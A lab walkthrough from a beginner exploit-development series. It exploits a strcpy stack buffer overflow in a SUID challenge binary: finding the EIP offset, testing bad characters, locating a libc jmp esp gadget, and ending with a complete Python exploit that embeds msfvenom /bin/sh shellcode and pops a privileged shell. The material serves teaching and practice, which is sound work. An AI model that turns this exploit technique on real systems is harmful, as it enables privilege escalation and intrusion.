Welcome again to the Stack Overflows for Beginners series! In this post, we continue with the Level 3 binary and work on exploiting it to get the next flag. This time, we’re dealing with a binary that uses the unsafe strcpy
function, making it vulnerable to buffer overflows. We’ll exploit this vulnerability, carefully navigating through memory to gain control over execution and eventually pop a shell.
If you haven’t read the first part yet, I recommend checking it out first to understand the background, setup, and our goals in this challenge series.
This walkthrough is part of my beginner-level training series, “Linux Usermode Exploitation 101,” created to help newcomers build a solid foundation in Linux-based exploit development and security research.
Level 3 Objectives
- Writing first exploit
- Discover a vulnerable function that uses
strcpy
without bounds checking
- Generate a cyclic pattern using
msfvenom
to identify the exact EIP offset
- Find a suitable memory location to store large shellcode buffers
- Detect bad characters that could break payload execution
- Overwrite the return address (EIP) to redirect program flow
- Use the
jmp esp
technique and locate suitable gadgets manually
- Achieve reliable code execution and gain a shell
Accessing the Level 2 User
To begin this level, we switch to the level2 user using the password we found in the previous challenge.
(See the Level 2 post for how we found it.)
We log in and navigate to the new level directory:
$ whoami
level2
$ pwd
/home/level2
Inside the home directory, we find the next binary:
$ ls -l levelThree
-rwsr-sr-x 1 level3 level3 15596 Jun 8 2019 levelThree
As before, this binary has the SUID bit set and runs with level3’s privileges. Now let’s try executing it with a test input:
$ ./levelThree AAAA
Buf: AAAA
The program accepts user input and echoes it back. This means it’s likely taking our input as a command-line argument, similar to the previous challenge.
Disassembling
Now let’s look more closely at the binary to understand what it does and where the vulnerability might be.
We start by listing all available functions in GDB:
(gdb) info func
All defined functions:
Non-debugging symbols:
0x00001000 _init
0x00001030 setresuid@plt
0x00001040 printf@plt
0x00001050 geteuid@plt
0x00001060 strcpy@plt
[...]
0x000011c5 __x86.get_pc_thunk.dx
0x000011c9 overflow
0x00001212 main
[...]
We will focus on the main
and overflow
functions.
main()
function
Let’s disassemble the main
function:
(gdb) disass main
From output we can see the steps that the main
function performs:
- It saves the current stack frame and prepares the stack.
- It calls
geteuid()
to get the effective user ID and stores it. - Then it sets the same UID using
setresuid()
. - Next, it loads the command-line argument and passes it to the
overflow()
function. - Finally, it exits cleanly.
The important line here is:
call 0x11c9 <overflow>
This shows us that main()
directly calls the overflow()
function with user input.
overflow()
function
Let’s now look at the disassembly of the overflow
function:
(gdb) disass overflow
Here’s what it does:
- It creates space on the stack:
sub esp, 0x104
- It uses
strcpy()
to copy user input into a local buffer on the stack:
lea eax,[ebp-0x108]
push eax
push DWORD PTR [ebp+0x8]
call strcpy
Then it prints the input using printf()
.
The key line here is:
sub esp, 0x104
This shows that the buffer size is 0x104 bytes (260 in decimal). Since strcpy()
does not check the size of the input, if the input is longer than 260 bytes, it will overflow the buffer.
Let’s verify with below commands:
level2@kali:~$ ./levelThree $(python3 -c "print('A' * 260)")
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
level2@kali:~$ ./levelThree $(python3 -c "print('A' * 264)")
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
As we can see above, when we give the program more than 260 bytes of input, it crashes with a segmentation fault.
Our Goal
Here is what we want to achieve:
- Find the exact offset to the return address (RET) on the stack
- Take control of the EIP register
- Identify bad characters that could break our payload
- Make sure there is enough space on the stack for our malicious payload
- Generate a shellcode
- Redirect the program’s execution to our shellcode by overwriting EIP with the address of a
jmp esp
instruction
Writing Exploit
Finding the Offset to EIP
First, we need to generate a unique cyclic pattern:
$ msf-pattern_create -l 300
Aa0Aa1Aa2Aa...[SNIP]...Aj8Aj9
Then we run the program with this pattern as input:
(gdb) r Aa0Aa1Aa2Aa...[SNIP]...Aj8Aj
The program crashes with a segmentation fault:
Program received signal SIGSEGV, Segmentation fault.
0x6a413969 in ?? ()
(gdb) x/1wx $eip
0x6a413969: Cannot access memory at address 0x6a413969
This shows that EIP was overwritten with the value 0x6a413969
.
Now we calculate the offset to EIP:
(gdb) shell msf-pattern_offset -q 0x6a413969
[*] Exact match at offset 268
So, the EIP is overwritten after 268 bytes of input.
We can confirm that we control the EIP by overwriting it with the letter B
(which is 0x42
in hex):
(gdb) r $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*268 + b"B"*4)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level2/levelThree $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*268 + b"B"*4)')
Buf: AAAAAAAAAA...[SNIP]...AAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
As we can see, EIP is now 0x42424242
, which means our 4 B
s were successfully placed into the EIP. This confirms that we have control over the instruction pointer.
Finding a Place to Store Large Buffers
Before we generate shellcode, we need to check if there is enough space in memory after the EIP overwrite to store it.
We’ll use the following Python script to create a test payload:
from struct import pack
size = 1000
offset = 268
buf = b"A" * offset # padding up to EIP
buf += b"B" * 4 # EIP overwrite
buf += b"C" * (size - len(buf)) # filler after EIP
print("[*] Generating payload")
with open("payload.bin", "wb") as f:
f.write(buf)
print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")
Next, we set a breakpoint at the return address after the strcpy
call in the overflow
function:
(gdb) info breakpoints
Num Type Disp Enb Address What
2 breakpoint keep y 0x56556211 <overflow+72>
breakpoint already hit 1 time
Then, we run the program with the payload:
(gdb) r $(cat payload.bin)
When the breakpoint is hit, we step once (ni
) and inspect the stack with:
(gdb) x/200bx $esp
We can see that the stack is filled with 0x43
(which is “C” in ASCII), meaning that our payload after the EIP is stored in memory. Here’s a snippet:
(gdb) ni
0x42424242 in ?? ()
(gdb) x/200bx $esp
0xffffceb0: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xffffceb8: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xffffcec0: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xffffcec8: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xffffced0: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xffffced8: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xffffcee0: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
[...]
0xffffcf30: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xffffcf38: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xffffcf40: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xffffcf48: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xffffcf50: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xffffcf58: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xffffcf60: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xffffcf68: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xffffcf70: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
This confirms that we have enough space after the EIP overwrite to store our shellcode. We can safely place it there in the next steps.
If we see that our payload is cut off or doesn’t fully fit after the EIP overwrite, it means there is not enough space on the stack. In that case, we need to find a different memory location to store our payload.
Identifying Bad Characters
Now that we have control over EIP and enough space for our payload, we can start building a basic exploit to find bad characters.
What are bad characters?
Bad characters (or badchars) are specific bytes that can break our payload when it is passed through the program. These characters may:
- End the string early
- Be removed or changed by functions like
strcpy()
- Cause encoding or parsing problems
If a bad character appears in our shellcode or address, it might get cut off, skipped, or replaced—causing the exploit to fail.
Common bad characters
The most common bad character is:
\x00 (null byte) | This is used to mark the end of a string in C, so anything after it is ignored. |
\x0a | newline |
\x0d | carriage return |
\x20 | space |
Each program is different, so we must test to see which characters are safe to use.
Below is our first basic exploit script. It includes:
- A list of all possible bad characters from
\x01
to\xff
(we usually skip\x00
because it’s almost always bad) - The payload size (
1000
bytes) - The offset to EIP (
268
bytes) - Junk (
C
s) added after the bad character test to fill the buffer
$ cat exploit_01.py
from struct import pack
size = 1000
offset = 268
badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
buf = b"A" * offset # padding up to EIP overwrite
buf += b"B" * 4 # EIP overwrite
buf += badchars
buf += b"C" * (size - len(buf)) # junk
print("[*] Generating payload")
with open("payload.bin", "wb") as f:
f.write(buf)
print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")
Now we can run the program with this payload and inspect memory (e.g., $esp
) to see which characters are missing, truncated, or altered. Any byte that doesn’t appear as expected is likely a bad character we need to avoid in our final shellcode.
Now let’s run the script to generate our test payload:
$ python3 exploit_01.py
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000
Now that we’ve created the payload, we can run the program in GDB and check how the bad characters appear in memory.
Set a breakpoint at the return address right after the strcpy
function in the overflow
function:
(gdb) b *0x56556211 ← RET address after strcpy
Breakpoint 1 at 0x56556211
Then step over the instruction:
(gdb) ni
0x42424242 in ?? ()
Now inspect the stack to see how the bad characters look:
(gdb) x/200bx $esp
0xffffce9c: 0x42 0x42 0x42 0x42 0x01 0x02 0x03 0x04
0xffffcea4: 0x05 0x06 0x07 0x08 0x00 0x03 0x00 0x00
[...]
We can see that after 0x08
, a 0x00
byte appears. This shows that the next character (0x09
) is being cut or replaced—meaning \x09
is a bad character.
To continue testing, we now remove \x09
from the list of bad characters in our Python script and regenerate the payload.
[...]
badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
[...]
Run the script again:
$ python3 exploit_01.py
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000
Then restart the program in GDB:
(gdb) r $(cat payload.bin)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
And inspect the stack again:
(gdb) x/350bx $esp
Keep repeating this process—removing each bad character you find from the list—until all characters are visible in memory without being altered or cut.
Finally, we identified the following bad characters: \x00\x09\x0a\x20
These characters should be avoided in both the shellcode and any address values in the final exploit.
Controlling EIP
In previous challenges, we used the address of an existing function to overwrite EIP. This time, we’ll use a different technique.
We will use the libc library to find a jmp esp
instruction and overwrite EIP to redirect execution to our shellcode on the stack.
In GDB, we check which shared libraries the program is using:
(gdb) info sharedlibrary
From To Syms Read Shared Object Library
0xf7fd5090 0xf7ff043b Yes (*) /lib/ld-linux.so.2
0xf7de70e0 0xf7f33c16 Yes (*) /lib32/libc.so.6
(*): Shared library is missing debugging information.
We copy libc.so.6
locally so we can inspect it easily:
(gdb) shell cp /lib32/libc.so.6 .
We want to find the machine code for jmp esp
. We can check this using msf-nasm_shell:
$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
The opcode for jmp esp
is ff e4
.
Now we search for this opcode inside the libc
file:
$ objdump -D libc.so.6 -M intel | grep "ff e4"
6ff7: ff e4 jmp esp
9037: ff e4 jmp esp
1867db: ff e4 jmp esp
187937: ff e4 jmp esp
188323: ff e4 jmp esp
[...]
We can use any of these addresses as long as they don’t contain bad characters.
Let’s say we choose 0x188323
.
Now we take the base address of libc
from GDB (from earlier):
Base address: 0xf7de70e0
To make our exploit work, we need the runtime address of a jmp esp
instruction inside the libc
library.
We use readelf
to find the base of the .text
section in libc.so.6
:
(gdb) shell readelf -S libc.so.6 | grep .text
[13] .text PROGBITS 000190e0 0190e0 14cb36 00 AX 0 0 16
The virtual address (VA) of .text
is 0x190e0
.
From our earlier objdump
output, we choose a jmp esp
gadget at:
gadget_va = 0x188323
We subtract the .text
base to get the offset:
(gdb) p/x 0x188323 - 0x190e0
$7 = 0x16f243
From GDB, we know the base address of libc
at runtime is:
libc_base = 0xf7de70e0
So we calculate the final address:
(gdb) p/x 0xf7de70e0 + 0x16f243
$8 = 0xf7f56323
We confirm it in GDB:
(gdb) x/2i 0xf7f56323
0xf7f56323: jmp esp
0xf7f56325: add al,0xfd
We have successfully found a valid jmp esp
instruction at 0xf7f56323
, and it does not contain any bad characters—so it’s safe to use in our exploit.
Code Execution
Now that we have control over EIP and found a safe jmp esp
address, it’s time to generate the final shellcode.
We’ll use msfvenom
to create a simple Linux x86 shell that runs /bin/sh
.
$ msfvenom -p linux/x86/exec CMD="/bin/sh" -b "\x00\x09\x0a\x20" -v shellcode -f python
Here’s the generated shellcode (shortened for clarity):
shellcode = b"\x90" * 16 # NOP sled
shellcode += b"\xba\x7a\x30\x6a\x53\xdb\xd0\xd9\x74\x24\xf4\x58"
shellcode += b"\x29\xc9\xb1\x0b\x31\x50\x15\x03\x50\x15\x83\xc0"
shellcode += b"\x04\xe2\x8f\x5a\x61\x0b\xf6\xc9\x13\xc3\x25\x8d"
shellcode += b"..."
We added a small NOP sled (\x90
bytes) before the shellcode.
NOP stands for No Operation. It does nothing and simply moves to the next instruction.
If our jump doesn’t land exactly at the start of the shellcode, the NOPs give a safe “landing zone” and slide execution into the shellcode.
Final Exploit: exploit_03.py
1 from struct import pack
2
3 size = 1000
4 offset = 268
5 # badchars \x00\x09\x0a\x20
6
7 shellcode = b"\x90" * 16
8 shellcode += b"\xba\x7a\x30\x6a\x53\xdb\xd0\xd9\x74\x24\xf4\x58"
9 shellcode += b"\x29\xc9\xb1\x0b\x31\x50\x15\x03\x50\x15\x83\xc0"
10 shellcode += b"\x04\xe2\x8f\x5a\x61\x0b\xf6\xc9\x13\xc3\x25\x8d"
11 shellcode += b"\x52\xf4\x5d\x7e\x16\x93\x9d\xe8\xf7\x01\xf4\x86"
12 shellcode += b"\x8e\x25\x54\xbf\x99\xa9\x58\x3f\xb5\xcb\x31\x51"
13 shellcode += b"\xe6\x78\xa9\xad\xaf\x2d\xa0\x4f\x82\x52"
14
15 buf = b"A" * offset # padding up to EIP overwrite
16 buf += pack("<I",0xf7f56323) # EIP overwrite jmp esp [libc.so.6]
17 buf += shellcode
18 buf += b"C" * (size - len(buf)) # junk
19
20 print("[*] Generating payload")
21
22 with open("payload.bin", "wb") as f:
23 f.write(buf)
24
25 print("[+] Payload has been generated!")
26 print(f"[!] Payload size: {len(buf)}")
Generate a payload:
$ python3 exploit_03.py
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 100
Finally, exploit the progam:
$ ./levelThree $(cat payload.bin)
Buf: AAAAAAAAAAAAAAA...[SNIP]...CCCCCCCC
$ whoami
level3
$ cd /home/level3
$ ls
level3.txt levelFour
$ cat level3.txt
[REDACTED]
Now, we have a shell as level3
and can read the flag (password) and are ready to move on to the next level.